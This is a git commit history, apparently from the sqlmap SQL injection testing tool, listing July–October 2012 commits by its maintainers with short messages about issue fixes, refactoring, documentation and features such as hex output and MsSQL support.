Miroslav Stampar d7973c3e32 Improvement of pivotDumpTable mechanism (no more fail on first entry) 2012-10-28 22:18:22 +01:00
Miroslav Stampar c1eb803ef5 Bug fix for MsSQL --hex --technique=E (NOT IN based queries were not working properly) 2012-10-28 21:16:51 +01:00
Miroslav Stampar b75c52f93c Minor display fix (in --hex mode) 2012-10-28 12:30:21 +01:00
Miroslav Stampar 25a5073281 Bug fix for --hex/--technique=B (especially MsSQL) 2012-10-28 12:22:33 +01:00
Miroslav Stampar 8617fe0d65 Bug fix for international letters decoded with --hex on MsSQL 2012-10-28 11:50:16 +01:00
Miroslav Stampar ca427af8b3 Minor refactoring/improvement 2012-10-28 01:42:08 +02:00
Miroslav Stampar 43ddf39bea Minor refactoring 2012-10-28 01:16:02 +02:00
Miroslav Stampar bcdba7b7bb Dealing with rare cases when getIdentifiedDbms is needed prior to DBMS isfingerprinted and there are multiples of dbmses inside details 2012-10-28 01:11:50 +02:00
Miroslav Stampar c1b8226329 Massive renaming (proper naming is inband = union & error techniques! - query naming stays as they are/in code things like forgeInbandQuery are renamed to forgeUnionQuery) 2012-10-28 00:36:09 +02:00
Miroslav Stampar a435ba6863 Minor fix 2012-10-28 00:19:00 +02:00
Miroslav Stampar 0aeb9dbe8b Bug fix (in --dump mode if error/inband failed with None other techniques were ignored) 2012-10-27 23:42:52 +02:00
Miroslav Stampar 06805b27f2 Bug fix (time was also meant to be disabled in case of error/inband getvalues) 2012-10-27 23:16:25 +02:00
Miroslav Stampar 7207cf29dd Minor update 2012-10-26 11:05:44 +02:00
Miroslav Stampar 965d7eee17 Minor bug fix for a reflection removal mechanism 2012-10-26 00:06:15 +02:00
Miroslav Stampar 235cc656b9 Fix for an Issue #224 2012-10-25 15:25:31 +02:00
Miroslav Stampar bcf708f4b1 Minor update 2012-10-25 13:37:33 +02:00
Miroslav Stampar fdcdd11cb9 Minor update for an Issue #222 2012-10-25 13:35:44 +02:00
Miroslav Stampar 8a5844a364 Implementation for an Issue #222 2012-10-25 13:21:32 +02:00
Miroslav Stampar ba55bed008 More general approach for PostgreSQL concatenation operator precedence problem (Issue #219) 2012-10-25 10:41:16 +02:00
Miroslav Stampar afd82b92dd Patch for an Issue #221 2012-10-25 10:21:36 +02:00
Miroslav Stampar 12fc9442b9 Tamper function(s) refactoring (really no need for returning headers as they are passed by reference) 2012-10-25 10:10:23 +02:00
Miroslav Stampar 54fbb22ab8 Minor refactoring 2012-10-25 09:56:36 +02:00
Miroslav Stampar c2058dfc8f Fix for an Issue #220 2012-10-25 09:42:43 +02:00
Miroslav Stampar b7429dc6bb Minor fix for an Issue #219 2012-10-25 00:15:59 +02:00
Miroslav Stampar 65ec715828 Fix for an Issue #218 2012-10-25 00:03:00 +02:00
Miroslav Stampar c0f57f4e90 Minor fix for an Issue #217 2012-10-24 23:43:28 +02:00
Miroslav Stampar 344ef9af7d Language fix (in lots of cases wrong statement 'unable to retrieve columns for any table in database' was reported) 2012-10-24 23:38:35 +02:00
Miroslav Stampar 5477c9f7ba Fix for an Issue #216 2012-10-24 22:59:46 +02:00
Miroslav Stampar 056be32ac1 Fix for Issue #213 2012-10-23 17:06:31 +02:00
Miroslav Stampar 99ceea5eae Fix for an Issue #214 2012-10-23 17:05:45 +02:00
Miroslav Stampar f3aa09c794 Minor language fix 2012-10-23 15:52:43 +02:00
Miroslav Stampar 6e2fce66aa Patch for an Issue #212 2012-10-23 15:34:59 +02:00
Miroslav Stampar eb6f17b561 Fix for --dump and -d=mssql 2012-10-23 15:02:43 +02:00
Miroslav Stampar 4365c48e83 Minor style update 2012-10-23 14:38:24 +02:00
Miroslav Stampar 06f226c494 Fix for an Issue #211 2012-10-23 14:37:45 +02:00
Miroslav Stampar b82eb3a1ae Fix for an Issue #210 2012-10-23 13:58:25 +02:00
Miroslav Stampar f2bbf1ead9 Fix for raw_input raising EOFError and KeyboardInterrupt on Ctrl-C (Windows platform) 2012-10-23 11:05:00 +02:00
Miroslav Stampar 5ff2e33c43 Minor fix 2012-10-23 10:54:26 +02:00
Miroslav Stampar 68d5faa287 Minor update 2012-10-23 10:46:17 +02:00
Miroslav Stampar f25f5c9eeb Minor fix 2012-10-23 10:33:30 +02:00
Miroslav Stampar 54d086f409 Minor fix 2012-10-23 10:02:10 +02:00
Miroslav Stampar f11a640e99 Undo of a previous commit (pdb left inside) 2012-10-22 14:39:35 +02:00
Miroslav Stampar b913e2123d Displaying hex-decoded resulting output in --hex mode 2012-10-22 14:39:11 +02:00
Miroslav Stampar 029143880a Displaying hex-decoded resulting output in --hex mode 2012-10-22 14:36:01 +02:00
Miroslav Stampar 39f565533a In case on --no-cast DUMP_REPLACEMENTS should not be used 2012-10-22 14:13:30 +02:00
Miroslav Stampar 3f596cda85 Minor fix for --dump --technique=B when empty strings are returned 2012-10-22 11:49:23 +02:00
Miroslav Stampar 21481df239 Minor update for Issue #209 2012-10-21 19:00:37 +02:00
Miroslav Stampar fb1497aa89 Minor update for Issue #209 2012-10-21 18:53:31 +02:00
Miroslav Stampar 261b286021 Fix for an Issue #209 2012-10-20 13:17:45 +02:00
Miroslav Stampar 6a271fe800 Update for an Issue #2 2012-10-19 11:29:03 +02:00
Miroslav Stampar 998eb70288 Minor update 2012-10-19 11:05:10 +02:00
Miroslav Stampar 987f167e12 Minor update 2012-10-19 11:03:54 +02:00
Miroslav Stampar d65d9e25cd Implementation for an Issue #2 2012-10-19 11:02:14 +02:00
Miroslav Stampar 688a2db27a Fix for an Issue #208 2012-10-19 10:04:09 +02:00
Miroslav Stampar 64b4586883 Minor update 2012-10-18 11:36:12 +02:00
Miroslav Stampar ea49fa2db2 Fix for an Issue #206 2012-10-18 11:11:20 +02:00
Miroslav Stampar 1cb2ca4195 Minor update 2012-10-18 10:55:27 +02:00
Miroslav Stampar b5060c0010 Fix for an Issue #205 2012-10-16 14:28:46 +02:00
Miroslav Stampar 2cb1b054bb Implementation for an Issue #79 2012-10-16 12:32:58 +02:00
Miroslav Stampar 3e64ab214e Minor update 2012-10-16 10:28:59 +02:00
Miroslav Stampar 9ad58cb531 Implementation for an Issue #204 2012-10-16 10:24:05 +02:00
Miroslav Stampar 8b57e1fce6 Minor update for an Issue #203 2012-10-15 23:15:52 +02:00
Miroslav Stampar ebe3f4c34c Minor fix 2012-10-15 18:51:42 +02:00
Miroslav Stampar 42b2c85517 Minor cosmetics 2012-10-15 18:45:13 +02:00
Miroslav Stampar c7cf8b2e80 Minor refactoring of direct() 2012-10-15 18:41:41 +02:00
Miroslav Stampar 91ea8e52b7 Minor patch for an Issue #201 2012-10-15 18:01:52 +02:00
Miroslav Stampar 048e720f69 Minor refactoring for an Issue #203 2012-10-15 17:55:57 +02:00
Miroslav Stampar 9aba690a60 Patch for an Issue #203 2012-10-15 16:23:41 +02:00
Miroslav Stampar e440b096c5 Fix for an Issue #202 2012-10-15 12:24:30 +02:00
Miroslav Stampar ed2d163269 Fix for an Issue #201 2012-10-14 17:53:55 +02:00
Miroslav Stampar 56832fe9c4 Better adjustTimeDelay() candidate algorithm 2012-10-11 14:23:53 +02:00
Miroslav Stampar e61c4c22c9 Implementation for an Issue #200 2012-10-09 15:19:47 +02:00
Miroslav Stampar cd9a47835b Minor consistency update 2012-10-09 14:48:26 +02:00
Miroslav Stampar 8c5fb1b064 Minor update 2012-10-09 14:46:45 +02:00
Miroslav Stampar ea12ccec77 Minor refactoring 2012-10-09 11:33:19 +02:00
Miroslav Stampar 10b0fd21dc Fix for an Issue #198 2012-10-09 11:27:19 +02:00
Miroslav Stampar 5a91b6e622 Minor cleanup 2012-10-09 10:21:52 +02:00
Miroslav Stampar 8e7449ccd5 Minor update 2012-10-07 20:28:24 +02:00
Miroslav Stampar ff205f088b Minor update 2012-10-07 20:12:55 +02:00
Miroslav Stampar cc3f387551 Patch for an Issue #127 2012-10-05 10:49:31 +02:00
Miroslav Stampar ebc7088f94 Implementation for an Issue #128 2012-10-05 10:24:09 +02:00
Miroslav Stampar 098e446ca4 Adding support for generic XML POST data 2012-10-04 18:44:12 +02:00
Miroslav Stampar f71b937add Minor language cleanup 2012-10-04 18:28:36 +02:00
Miroslav Stampar 8865fe69d7 Minor cleanup 2012-10-04 18:26:07 +02:00
Miroslav Stampar 2fbd05c98f Minor language update 2012-10-04 18:04:55 +02:00
Miroslav Stampar d464678e10 Minor update for an Issue #49 2012-10-04 18:01:42 +02:00
Miroslav Stampar 84b05e2d18 Better treating of numeric values (Issue #49) 2012-10-04 16:08:37 +02:00
Miroslav Stampar 31aa9be1c7 Minor update 2012-10-04 15:40:11 +02:00
Miroslav Stampar 9129dac77b Minor fix for an Issue #134 2012-10-04 15:33:26 +02:00
Miroslav Stampar 5d2b534908 Minor update (Issue #49) 2012-10-04 15:23:01 +02:00
Miroslav Stampar 5b59b6feb4 Removing junk part 2012-10-04 12:09:09 +02:00
Miroslav Stampar d570e25b1b Minor workflow update 2012-10-04 12:05:59 +02:00
Miroslav Stampar eddc634ceb Minor improvement (custom injection marks are now processed in order of appearance) 2012-10-04 11:52:40 +02:00
Miroslav Stampar 3764d230be Minor fix for Issue #197 and Issue #49 2012-10-04 11:43:37 +02:00
Miroslav Stampar dee6d2f9ff Minor language update 2012-10-04 11:34:14 +02:00
Miroslav Stampar 461e5ebc5f Work for Issue #197 and Issue #49 2012-10-04 11:25:44 +02:00
Miroslav Stampar bcbf0571a5 Implementation for an Issue #49 2012-10-02 14:23:58 +02:00
Miroslav Stampar 763dc98311 Minor refactoring 2012-10-02 13:36:15 +02:00
Miroslav Stampar a8aecaa036 Minor style update 2012-10-02 13:33:10 +02:00
Miroslav Stampar 19407b9aca Minor update 2012-09-26 15:25:01 +02:00
Miroslav Stampar 6eae7013b6 Minor cosmetics 2012-09-26 15:03:12 +02:00
Miroslav Stampar 687f3991de Cleaning/refactoring of bunch of stacked/suffix/comment stuff (e.g. 2012-09-26 11:27:43 +02:00
Miroslav Stampar 6bc5f44b20 Minor just in case update for an Issue #195 (safer behavior on forced charsets) 2012-09-25 15:09:07 +02:00
Miroslav Stampar efe4c13ed1 Update regarding suffixQuery (user supplied --suffix should nullify any eventual payload comments) 2012-09-25 14:36:15 +02:00
Miroslav Stampar ec43ceec40 Some more cleanup related to the last commit (unneeded manual crafting/unneeded closing with ;) 2012-09-25 14:29:22 +02:00
Miroslav Stampar 560e0fcb25 Minor cleanup 2012-09-25 14:21:57 +02:00
Miroslav Stampar fccdb824bb Patch for an Issue #193 2012-09-25 11:21:39 +02:00
Miroslav Stampar c9e7e71ea2 Implementation for an Issue #195 2012-09-25 10:17:25 +02:00
Miroslav Stampar 9ca7b3e20e Implementation for an Issue #194 2012-09-25 09:25:35 +02:00
Miroslav Stampar d175decdfc Fix for an Issue #190 2012-09-22 20:59:40 +02:00
Miroslav Stampar a6eeebfca8 Fix for an Issue #188 2012-09-20 11:30:07 +02:00
Miroslav Stampar 67cfc3b492 Removing boundaries (it were meant to be used as 'parameter replace' logic but it's not doable for boundaries) 2012-09-17 22:36:40 +02:00
Miroslav Stampar acad7a34a2 Minor update 2012-09-17 22:23:44 +02:00
Miroslav Stampar 9a1fbb8941 Fix for an Issue #185 2012-09-13 14:22:26 +02:00
Miroslav Stampar 75990b715d Fix for an Issue #184 2012-09-13 10:20:24 +02:00
Miroslav Stampar 1ec9422fa2 Minor cleanup of standard wordlist (html entities, etc.) 2012-09-12 16:06:32 +02:00
Miroslav Stampar e570858db9 Implementation for an Issue #183 2012-09-12 11:50:38 +02:00
Miroslav Stampar a64438fb5c Minor language update 2012-09-11 19:45:40 +02:00
Miroslav Stampar 05dced5418 Minor language update 2012-09-11 19:43:03 +02:00
Miroslav Stampar 511c3b8dcc Update and fix for an Issue #182 2012-09-11 14:58:52 +02:00
Miroslav Stampar 10b671d625 Update for an Issue #182 2012-09-11 12:08:34 +02:00
Miroslav Stampar 12d33c7a38 Fix for Issue #180 and #181 (missing module from an Issue #179) 2012-09-10 22:39:56 +02:00
Miroslav Stampar 959225af55 Minor fix 2012-09-10 19:28:15 +02:00
Miroslav Stampar 5c21395fe2 Minor update for an Issue #179 2012-09-10 19:26:51 +02:00
Miroslav Stampar 1f49e4ae36 Fix for an Issue #179 2012-09-10 19:23:24 +02:00
Miroslav Stampar 9a631331a5 Fix for an Issue #177 2012-09-08 20:22:13 +02:00
Miroslav Stampar 5d23d72ff5 Fix for an Issue #176 2012-09-08 17:58:03 +02:00
Miroslav Stampar f26ea04e38 Fix for an Issue #175 2012-09-07 17:06:38 +02:00
Miroslav Stampar e4bc471f81 Fix for an Issue #173 2012-09-07 10:09:19 +02:00
Miroslav Stampar a3baf94e9b Minor style update 2012-09-07 10:09:00 +02:00
Miroslav Stampar cea5127ffd Update for an Issue #6 2012-09-06 15:51:38 +02:00
Miroslav Stampar c3d191e626 Minor update for an Issue #2 2012-09-06 14:13:54 +02:00
Miroslav Stampar 1e238b5a5a Minor update 2012-09-06 13:36:34 +02:00
Miroslav Stampar 9451bfccaf Update for Issue #163 2012-09-06 13:14:20 +02:00
Miroslav Stampar dbce417cdd Potential fix for an Issue #171 2012-09-02 22:48:41 +02:00
Miroslav Stampar f6716cf7c0 Fix for an Issue #170 2012-09-01 23:52:00 +02:00
Miroslav Stampar 2170e64ca5 Minor bug fix 2012-08-31 19:48:45 +02:00
Miroslav Stampar 33980adaef Another update for an Issue #79 2012-08-31 12:46:38 +02:00
Miroslav Stampar b916db34a4 Another update for an Issue #79 2012-08-31 12:38:02 +02:00
Miroslav Stampar 47d162f391 Minor update (same but cleaner) 2012-08-31 12:27:40 +02:00
Miroslav Stampar 7286d89cb6 Few fixes for an Issue #79 (problem with case sensitivity of request get_header) 2012-08-31 12:15:09 +02:00
Miroslav Stampar 2806185989 Minor refactoring 2012-08-31 10:43:06 +02:00
Miroslav Stampar 74a5d41272 Minor update for an Issue #79 2012-08-31 10:24:47 +02:00
Miroslav Stampar f79ed0fb76 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-08-30 14:22:35 +02:00
Miroslav Stampar cdd3ed6abc Minor bug fix 2012-08-30 14:22:18 +02:00
Bernardo Damele 852a1b9cbf minor syntax fix 2012-08-30 10:49:21 +01:00
Miroslav Stampar ff2c4b8de4 Update of doc/THANKS 2012-08-29 21:34:17 +02:00
Miroslav Stampar a89d61415a 'Patch' for an Issue #167 2012-08-29 21:29:27 +02:00
Miroslav Stampar c1c65a7167 Fix for an Issue #166 2012-08-29 20:21:45 +02:00
Miroslav Stampar 50d60275a1 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-08-26 15:46:38 +02:00
Miroslav Stampar eb2d9f78ca Fix for an Issue #164 2012-08-26 15:46:12 +02:00
Miroslav Stampar 2af1313010 Update README.md 2012-08-23 20:08:57 +03:00
Miroslav Stampar 9674b174ee One more minor update related to last commit 2012-08-23 15:37:17 +02:00
Miroslav Stampar b79247c197 Minor update 2012-08-23 15:22:14 +02:00
Miroslav Stampar 59ab3c7bdc Updating server.xml with fresh banners 2012-08-23 11:01:57 +02:00
Miroslav Stampar e9ae44c6fc Implementation for an #162 2012-08-22 16:50:01 +02:00
Miroslav Stampar 0ad3846451 Minor language update 2012-08-22 16:10:56 +02:00
Miroslav Stampar f1f6364690 Changing default readInput value on dictionary-based attack depending on conf.multipleTargets 2012-08-22 16:10:38 +02:00
Miroslav Stampar a62a874d59 Update for an Issue #161 (changing default readInput value regarding the conf.multipleTargets) 2012-08-22 16:06:09 +02:00
Miroslav Stampar 4ab4fd1cb4 Minor update 2012-08-22 15:53:40 +02:00
Miroslav Stampar 52351e5d81 Update for an Issue #161 (now detecting format error messages too) 2012-08-22 15:51:47 +02:00
Miroslav Stampar dbbfee6c93 Minor style update 2012-08-22 15:05:17 +02:00
Miroslav Stampar a6d743ec4c Minor console output fix (redundant newline has been displayed in case of rawInput) 2012-08-22 14:43:57 +02:00
Miroslav Stampar d7cf0de090 Fixing INSERT/UPDATE generic boundaries (those previous few were junkies) 2012-08-22 14:12:51 +02:00
Miroslav Stampar 7b93108e7d Favoring non-string specific boundaries in case of digit-like parameter values 2012-08-22 13:58:52 +02:00
Miroslav Stampar 25ee333e66 Minor language update 2012-08-22 12:00:17 +02:00
Miroslav Stampar 8a5042b6a4 Update for an #161 (preventing further skipping of non-heuristic parameters in ignore casted case) 2012-08-22 11:56:30 +02:00
Miroslav Stampar 7d0662da23 Update for an #161 2012-08-22 11:42:06 +02:00
Miroslav Stampar 61151447fe Implementation of an Issue #161 2012-08-22 11:27:58 +02:00
Miroslav Stampar 6210ddfbd6 Minor refactoring 2012-08-22 11:00:39 +02:00
Miroslav Stampar a927d94d39 Update for an Issue #155 2012-08-22 10:57:31 +02:00
Miroslav Stampar 32a36f1ff3 El Cosmeticado 2012-08-22 09:58:39 +02:00
Miroslav Stampar 2c66ca39f1 Wrong limit number has been used (MySQL LIMIT/OFFSET starts with 0) 2012-08-22 09:53:53 +02:00
Miroslav Stampar ebab05cf7c Fix for an Issue #158 2012-08-21 20:20:38 +02:00
Miroslav Stampar f098955081 Update of doc/THANKS 2012-08-21 14:46:48 +02:00
Miroslav Stampar 9aec3d5233 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-08-21 14:37:33 +02:00
Miroslav Stampar ad59abe018 Cleaning leftover 2012-08-21 14:37:09 +02:00
Miroslav Stampar 1b86fffc6d Fix for an Issue #157 2012-08-21 14:36:04 +02:00
Miroslav Stampar d421f9a618 Fix for an Issue #157 2012-08-21 14:34:19 +02:00
Miroslav Stampar 221f47ff50 Style update 2012-08-21 14:50:45 +03:00
Miroslav Stampar 80120e849f Minor refactoring and update of sqlharvest.py 2012-08-21 13:37:16 +02:00
Miroslav Stampar 1bcf5a6b88 Some more dict refactorings 2012-08-21 11:30:01 +02:00
Miroslav Stampar 01f481c332 Minor refactoring of dictionaries 2012-08-21 11:19:15 +02:00
Miroslav Stampar b9c63eb908 Fix for an Issue #156 2012-08-21 10:46:29 +02:00
Miroslav Stampar b7415d36df Minor refactoring 2012-08-21 10:28:25 +02:00
Miroslav Stampar 7a8ace78f9 Removing redundant newline char as logger already adds it's own 2012-08-21 09:58:40 +02:00
Miroslav Stampar 233b9a3815 Fix for Issue #150 and Issue #151 (urllib2 is automatically adding those) 2012-08-20 22:17:39 +02:00
Miroslav Stampar 8ee9feafb9 Making payloads a bit shorter (removing redundant space after comma character - e.g. in inband queries) 2012-08-20 21:57:25 +02:00
Miroslav Stampar 6f450ac8bf Implementation for an Issue #155 2012-08-20 12:14:01 +02:00
Miroslav Stampar 823dde73ab Minor cleanup 2012-08-20 11:40:49 +02:00
Miroslav Stampar 2b6123c4f8 Minor style update 2012-08-20 11:29:23 +02:00
Miroslav Stampar e0d9fa8666 Minor style update 2012-08-20 11:28:41 +02:00
Miroslav Stampar 76338add17 Fix for an Issue #152 2012-08-20 10:41:43 +02:00
Miroslav Stampar 59078bb1b8 Fix for an Issue #154 2012-08-20 10:05:13 +02:00
Miroslav Stampar 4649450603 Fix for an Issue #137 2012-08-16 22:20:24 +02:00
Miroslav Stampar 0d8fca30c9 Fix for an Issue #59 2012-08-16 11:31:43 +02:00
Miroslav Stampar 1af81c0de4 Implementation of an Issue #149 2012-08-15 22:31:25 +02:00
Miroslav Stampar f358ab2e73 Implementation of an Issue #147 2012-08-15 16:37:18 +02:00
Miroslav Stampar 74ee0ce78a Fix for an Issue #148 2012-08-14 23:25:12 +02:00
Miroslav Stampar 36b55cf209 Proper fix for an Issue #145 2012-08-14 22:28:42 +02:00
Miroslav Stampar ab35ab4e2a Fix for an Issue #145 2012-08-14 18:52:45 +02:00
Miroslav Stampar 5929c89ba4 Fix for an Issue #143 2012-08-09 13:44:21 +02:00
Miroslav Stampar 4b4288dfc8 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-08-08 19:07:25 +02:00
Miroslav Stampar b78163f99b Update for Issue #138 2012-08-08 19:06:47 +02:00
Bernardo Damele eee62e573e minor update 2012-08-08 18:09:27 +03:00
Miroslav Stampar 5fc1e8bc12 Fix for an Issue #142 2012-08-08 14:21:13 +02:00
Miroslav Stampar 432b567584 Fix for an Issue #141 2012-08-08 00:03:58 +02:00
Miroslav Stampar 31ceb0cb6c Fix for an Issue #140 2012-08-07 10:57:29 +02:00
Miroslav Stampar fec8a5cc9d Fix for an Issue #139 2012-08-07 00:50:58 +02:00
Miroslav Stampar 3a60d3bc2e update of doc/THANKS 2012-08-06 19:05:34 +02:00
Miroslav Stampar 6fdbe4eb89 Fix by [email protected] (better LIKE boundaries) 2012-08-06 19:04:23 +02:00
Miroslav Stampar b483710927 Minor update of doc/THANKS 2012-08-03 14:04:48 +02:00
Miroslav Stampar f797a6d813 Fix for an Issue #125 2012-07-31 13:06:45 +02:00
Miroslav Stampar 6f529542e3 Making those --string tips (containing escaped characters) decodable by sqlmap 2012-07-31 11:32:53 +02:00
Miroslav Stampar 142fc887f1 Fix for an Issue #129 2012-07-31 11:03:44 +02:00
Miroslav Stampar bdbe8ff9d9 Fix for an Issue #132 2012-07-30 22:39:45 +02:00
Miroslav Stampar 47073f4afd Implementation of an Issue #131 2012-07-30 21:50:46 +02:00
Miroslav Stampar 93d35fe522 Minor update regarding Issue #129 2012-07-30 21:43:32 +02:00
Miroslav Stampar b9ac50faef Minor bug fix 2012-07-30 12:09:20 +02:00
Miroslav Stampar a86f9798b2 Minor refactoring together with a wider support for html entities 2012-07-30 11:21:32 +02:00
Miroslav Stampar 20a66567a3 Minor refactoring 2012-07-30 10:06:14 +02:00
Miroslav Stampar 60ebb97915 Update of THANKS file 2012-07-29 17:42:42 +02:00
Miroslav Stampar cc2a916716 Fix for an Issue #126 2012-07-29 17:33:08 +02:00
Miroslav Stampar 1669c6bdb4 Another update for an Issue #28 2012-07-27 17:05:21 +02:00
Miroslav Stampar 6ffc5665d0 Update for Issue #28 2012-07-27 16:29:33 +02:00
Miroslav Stampar 07738004cc Fix for an Issue #123 2012-07-27 10:02:47 +02:00
Miroslav Stampar a5062c1e4f Adding a warn message when --dns-domain is ignored (because of faster techniques) 2012-07-27 09:48:48 +02:00
Bernardo Damele 92c2b3bd4c Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-26 23:11:11 +01:00
Bernardo Damele d492291744 working on issue #12 2012-07-26 23:11:07 +01:00
Miroslav Stampar cba387a0a0 Minor speed up 2012-07-26 15:42:04 +02:00
Miroslav Stampar efa99c4519 Implementation for an Issue #4 2012-07-26 14:07:05 +02:00
Miroslav Stampar b3552494c4 Minor preparation for an Issue #48 2012-07-26 12:26:57 +02:00
Miroslav Stampar 3e9f1fe410 Minor style update 2012-07-26 12:13:16 +02:00
Miroslav Stampar 30f8d09651 Implementation for an Issue #70 2012-07-26 12:06:02 +02:00
Miroslav Stampar 57f2fccc24 Revert of a previous commit (actually missing mysql.db is a bonus in this kind of attack :) 2012-07-26 11:40:47 +02:00
Miroslav Stampar ec96689556 Safer for provoking 'Subquery returns more than 1 row' state than potentially missing mysql.db 2012-07-26 11:39:51 +02:00
Miroslav Stampar 6878ef92b2 Style update 2012-07-26 11:22:00 +02:00
Miroslav Stampar ab3160316f Implementation of payloads for Issue #122 2012-07-26 11:17:09 +02:00
Miroslav Stampar 231f0f76b5 Fix for an Issue #119 2012-07-26 00:49:51 +02:00
Miroslav Stampar cba77410a9 Minor style update 2012-07-26 00:08:49 +02:00
Miroslav Stampar 18b1d1efd6 Fix for an Issue #121 2012-07-26 00:02:38 +02:00
Bernardo Damele 4a0b55f651 slight update to doc 2012-07-25 11:23:02 +01:00
Bernardo Damele b78ec4cf9f change of email 2012-07-25 11:20:14 +01:00
Miroslav Stampar 2b60e61d54 Minor update for #119 2012-07-25 10:57:19 +02:00
Miroslav Stampar 922ea9d1f4 Update for Issue #118 2012-07-24 15:43:29 +02:00
Miroslav Stampar f8c9868cb6 Implementation for an Issue #118 2012-07-24 15:34:50 +02:00
Miroslav Stampar 42f518b2d6 Minor update for letting unhandledExceptionMessage() do it's job if kb has not yet been initialized 2012-07-24 14:44:44 +02:00
Miroslav Stampar ffc520b35f Minor refactoring 2012-07-24 14:35:56 +02:00
Miroslav Stampar 5f11f9e176 Refreshing wordlist with a yahoo dump dict 2012-07-24 10:28:15 +02:00
Miroslav Stampar 7f4fa7c27d Minor refactoring 2012-07-24 01:21:32 +02:00
Miroslav Stampar b820975217 Improvement of decodeIntToUnicode() 2012-07-23 19:31:06 +02:00
Miroslav Stampar 1153b4563c Minor update for an Issue #111 2012-07-23 18:44:50 +02:00
Miroslav Stampar fccd69721e Update for an Issue #111 2012-07-23 18:38:46 +02:00
Miroslav Stampar ab9cb80602 Implementing Issue #111 2012-07-23 15:14:52 +02:00
Miroslav Stampar 6809449e31 Minor style update 2012-07-23 15:06:49 +02:00
Miroslav Stampar 63bf99ce77 Minor just in case update for an Issue #117 2012-07-23 14:46:43 +02:00
Miroslav Stampar c6b724489b Minor style update 2012-07-23 14:26:42 +02:00
Miroslav Stampar a7d1a0c250 Implementation for an Issue #117 2012-07-23 14:14:22 +02:00
Miroslav Stampar 3279ce53a8 Minor style update 2012-07-23 13:57:38 +02:00
Miroslav Stampar 534eccc9aa Fix for an Issue #115 2012-07-23 10:16:47 +02:00
Miroslav Stampar 1b6cb9442f Fix for an Issue #114 2012-07-21 23:31:36 +02:00
Bernardo Damele 0a4b6431a8 minor bug fix - issue #112 2012-07-21 16:51:01 +01:00
Miroslav Stampar 95e0d46e3e Fix for an Issue #110 2012-07-21 09:15:54 +02:00
Bernardo Damele 5bf8600be3 removed references 2012-07-21 00:34:14 +01:00
Bernardo Damele 34e77a8801 ported fix for issue #81 also to blind techniques 2012-07-21 00:20:32 +01:00
Bernardo Damele 3e21f3d07a fixed --search -C too on MSSQL - issue #81 2012-07-21 00:08:40 +01:00
Bernardo Damele 60242f92c5 made --search -D on MSSQL consistent with other DBMSes - issue #81 2012-07-20 23:37:56 +01:00
Bernardo Damele 7f10b01265 same fix as previous commit for blind techniques 2012-07-20 22:35:20 +01:00
Bernardo Damele b54ae107cc major bug fix in --search with multiple -C provided 2012-07-20 22:29:48 +01:00
Bernardo Damele 45177cf93d minor restyling 2012-07-20 22:29:30 +01:00
Bernardo Damele 16668e1b8d leftover debug message 2012-07-20 21:48:29 +01:00
Bernardo Damele b0ab837832 minor code refactoring and implemented issue #95 2012-07-20 21:46:36 +01:00
Bernardo Damele 9cb1c4c0d9 plugin refactoring - issue #22 2012-07-20 19:17:35 +01:00
Bernardo Damele dba0a96c2e fall-back to UNION technique if web file stager was not uploaded with LIMIT 2012-07-20 17:11:22 +01:00
Bernardo Damele a1d2a7913b minor fix 2012-07-20 16:44:27 +01:00
Bernardo Damele d812699cb3 minor layout adjustment 2012-07-20 16:25:00 +01:00
Bernardo Damele baeffbf149 added SQL file to write a file with LIMIT statement on MySQL 2012-07-20 16:20:53 +01:00
Bernardo Damele cbe8f41746 minor code refactoring preparing for #96 2012-07-20 16:20:17 +01:00
Bernardo Damele 86df6037e3 reverted previous ugly hack for issue #110, perhaps a better fix is possible 2012-07-20 16:01:04 +01:00
Bernardo Damele 1928d5464d fixes issue #97 2012-07-20 15:56:14 +01:00
Bernardo Damele 224bce8604 layout improvements 2012-07-20 13:34:01 +01:00
Bernardo Damele f14b4227fd layout improvements 2012-07-20 13:25:15 +01:00
Bernardo Damele 7f4d412f37 layout improvements 2012-07-20 13:19:34 +01:00
Bernardo Damele 8d1dd400da renamed two doc files 2012-07-20 13:16:30 +01:00
Bernardo Damele b752fefabc repetition 2012-07-20 12:44:03 +01:00
Bernardo Damele f75235d38a fixes issue #109 2012-07-20 12:36:36 +01:00
Bernardo Damele 1ded7d4113 update for issue #109 2012-07-20 12:28:57 +01:00
Bernardo Damele b0cde24be4 minor layout adjustment 2012-07-20 12:05:41 +01:00
Bernardo Damele 7930dca4a7 minor layout adjustment 2012-07-20 12:05:04 +01:00
Bernardo Damele c02d3be55e minor layout adjustment 2012-07-20 12:04:04 +01:00
Bernardo Damele ab97392162 minor layout adjustment 2012-07-20 12:03:07 +01:00
Bernardo Damele 2dd41b4b96 added THIRD-PARTY file to documentation - issue #109 2012-07-20 12:01:19 +01:00
Miroslav Stampar f336afa913 Implementation for Issue #108 2012-07-20 09:48:09 +02:00
Miroslav Stampar 53cb105f50 Merge pull request #107 from jekil/master
Removed "How to Apply These Terms to Your New Program"
2012-07-20 00:27:10 -07:00
jekil 3e0e2f324f Removed "How to Apply These Terms to Your New Programs" 2012-07-19 23:42:11 +02:00
Miroslav Stampar dcf8a27f12 Implementation for an Issue #67 2012-07-18 14:24:10 +02:00
Miroslav Stampar 4fc462c4d9 Minor update for an Issue #105 2012-07-18 14:09:04 +02:00
Miroslav Stampar 2656b8fc51 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-18 13:32:57 +02:00
Miroslav Stampar 655dd55a6f Implementation of an Issue #105 2012-07-18 13:32:34 +02:00
Bernardo Damele 245bba5b93 minor updates to documentation 2012-07-18 11:41:09 +01:00
Bernardo Damele 209f4b34e3 psyco lib is unmaintained now 2012-07-18 11:36:46 +01:00
Bernardo Damele 243a905788 more on issue #97 2012-07-17 23:07:16 +01:00
Bernardo Damele c483e91445 added payloads for ORDER BY/GROUP BY time-based injections - issue #97 2012-07-17 22:52:28 +01:00
Miroslav Stampar a4f5c1d2b5 Merge branch 'master' of github.com:sqlmapproject/sqlmap 2012-07-17 15:06:08 +02:00
Miroslav Stampar 08244c7ebf Fix for an Issue #104 2012-07-17 15:05:50 +02:00
Bernardo Damele 771e7a9fc3 Initial commit for issue #97 2012-07-17 10:13:09 +01:00
Miroslav Stampar e30646a54f Fix for an Issue #103 2012-07-17 10:36:22 +02:00
Miroslav Stampar 41d16e55cb Typo fix (#102) 2012-07-17 09:13:19 +02:00
